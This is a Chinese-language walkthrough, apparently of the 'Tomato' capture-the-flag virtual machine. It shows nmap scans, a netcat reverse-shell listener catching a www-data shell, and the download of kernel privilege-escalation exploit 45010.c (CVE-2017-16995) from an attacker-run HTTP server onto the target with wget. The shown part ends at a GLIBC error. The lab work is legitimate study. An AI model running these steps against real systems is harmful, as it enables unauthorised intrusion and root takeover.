root at kali in ~/Tomato $ nmap -sn --min-rate 10000 10.10.8.0/24 -oN nmap_ip.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 15:32 CST Nmap scan report for 10.10.8.1 Host is up (0.000077s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 10.10.8.2 Host is up (0.000087s latency). MAC Address: 00:50:56:EA:61:D3 (VMware) Nmap scan report for 10.10.8.12 Host is up (0.000070s latency). MAC Address: 00:0C:29:D8:0A:9D (VMware) Nmap scan report for 10.10.8.19 Host is up (0.00015s latency). MAC Address: 00:0C:29:B5:D5:EF (VMware) Nmap scan report for 10.10.8.254 Host is up (0.000052s latency). MAC Address: 00:50:56:E7:3A:52 (VMware) Nmap scan report for 10.10.8.17 Host is up. Nmap done: 256 IP addresses (6 hosts up) scanned in 12.37 seconds
端口扫描
扫描开放端口：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
root at kali in ~/Tomato $ nmap -p- -sC -T4 --min-rate 10000 10.10.8.19 -oN nmap_port.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 15:32 CST Nmap scan report for 10.10.8.19 Host is up (0.000039s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http |_http-title: Tomato 2211/tcp open emwin 8888/tcp open sun-answerbook MAC Address: 00:0C:29:B5:D5:EF (VMware)
Nmap done: 1 IP address (1 host up) scanned in 6.20 seconds
root at kali in ~/Tomato $ nmap -p21,80,2211,8888 -sV -O -A -sC -T4 --min-rate 10000 10.10.8.19 -oN nmap_server.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 15:36 CST Nmap scan report for 10.10.8.19 Host is up (0.00076s latency).
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Tomato 2211/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 d2:53:0a:91:8c:f1:a6:10:11:0d:9e:0f:22:f8:49:8e (RSA) | 256 b3:12:60:32:48:28:eb:ac:80:de:17:d7:96:77:6e:2f (ECDSA) |_ 256 36:6f:52:ad:fe:f7:92:3e:a2:51:0f:73:06:8d:80:13 (ED25519) 8888/tcp open http nginx 1.10.3 (Ubuntu) |_http-server-header: nginx/1.10.3 (Ubuntu) | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Private Property |_http-title: 401 Authorization Required MAC Address: 00:0C:29:B5:D5:EF (VMware) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.76 ms 10.10.8.19
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 13.39 seconds
root at kali in ~/Tomato $ nmap --script=vuln -T4 --min-rate 10000 10.10.8.19 -oN nmap_vuln.txt Starting Nmap 7.94 ( https://nmap.org ) at 2024-06-14 15:37 CST Nmap scan report for 10.10.8.19 Host is up (0.000083s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 21/tcp open ftp 80/tcp open http |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. |_http-csrf: Couldn't find any CSRF vulnerabilities. | http-slowloris-check: | VULNERABLE: | Slowloris DOS attack | State: LIKELY VULNERABLE | IDs: CVE:CVE-2007-6750 | Slowloris tries to keep many connections to the target web server open and hold | them open as long as possible. It accomplishes this by opening connections to | the target web server and sending a partial request. By doing so, it starves | the http server's resources causing Denial Of Service. | | Disclosure date: 2009-09-17 | References: | https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6750 |_ http://ha.ckers.org/slowloris/ 8888/tcp open sun-answerbook MAC Address: 00:0C:29:B5:D5:EF (VMware)
Nmap done: 1 IP address (1 host up) scanned in 323.50 seconds
root at kali in ~/Tomato $ ssh 'Yongz'@10.10.8.19 -p 2211 The authenticity of host '[10.10.8.19]:2211 ([10.10.8.19]:2211)' can't be established. ED25519 key fingerprint is SHA256:99Mk+oWitdg2e434cvlhvYgeQaMwRs76tgSLrezh9/I. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '[10.10.8.19]:2211' (ED25519) to the list of known hosts. Yongz@10.10.8.19's password: Permission denied, please try again. Yongz@10.10.8.19's password: Permission denied, please try again. Yongz@10.10.8.19's password: Yongz@10.10.8.19: Permission denied (publickey,password).
root at kali in ~/Tomato $ nc -lvvp 4444 listening on [any] 4444 ... 10.10.8.19: inverse host lookup failed: Host name lookup failure connect to [10.10.8.17] from (UNKNOWN) [10.10.8.19] 44422 bash: cannot set terminal process group (904): Inappropriate ioctl for device bash: no job control in this shell www-data@ubuntu:/var/www/html/antibot_image/antibots$
www-data@ubuntu:/home/tomato$ gcc -v gcc -v The program 'gcc' is currently not installed. To run 'gcc' please ask your administrator to install the package 'gcc'
www-data@ubuntu:/home/tomato$ uname -a uname -a Linux ubuntu 4.4.0-21-generic #37-Ubuntu SMP Mon Apr 18 18:33:37 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
root at kali in ~/Tomato $ searchsploit -m 45010.c Exploit: Linux Kernel < 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation URL: https://www.exploit-db.com/exploits/45010 Path: /usr/share/exploitdb/exploits/linux/local/45010.c Codes: CVE-2017-16995 Verified: True File Type: C source, ASCII text Copied to: /root/Tomato/45010.c
使用 gcc 将 45010.c 编译成可执行文件：
1 2 3 4 5 6
root at kali in ~/Tomato $ gcc 45010.c -o exp
root at kali in ~/Tomato $ ls -l exp -rwxr-xr-x 1 root root 21616 Jun 14 17:12 exp
由于需要将 exp 文件上传至靶机进行编译，在 Kali 本地使用 Python 开启一个 Web 服务：
1 2 3 4
root at kali in ~/Tomato $ python -m http.server 80 Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
在靶机中使用 Wget 下载该文件：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
www-data@ubuntu:/home/tomato$ cd /tmp cd /tmp www-data@ubuntu:/tmp$ wget http://10.10.8.17/exp wget http://10.10.8.17/exp --2024-06-14 02:13:23-- http://10.10.8.17/exp Connecting to 10.10.8.17:80... connected. HTTP request sent, awaiting response... 200 OK Length: 21616 (21K) [application/octet-stream] Saving to: 'exp'
www-data@ubuntu:/tmp$ ls -l exp ls -l exp -rw-r--r-- 1 www-data www-data 21616 Jun 14 02:12 exp
执行 exp 文件：
1 2 3 4 5
www-data@ubuntu:/tmp$ chmod +x exp chmod +x exp www-data@ubuntu:/tmp$ ./exp ./exp ./exp: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.34' not found (required by ./exp)
发现此时执行不了，GLIBC 版本不对，这里就有个大坑QAQ，花了我半天时间。
注：这里网上的大部分文章其实都是直接在 Kali 上编译两个文件 45010.c 和 CVE-2017-6074，但如果使用的是近几年的 Kali，就会出现 GLIBC_2.34 的报错。
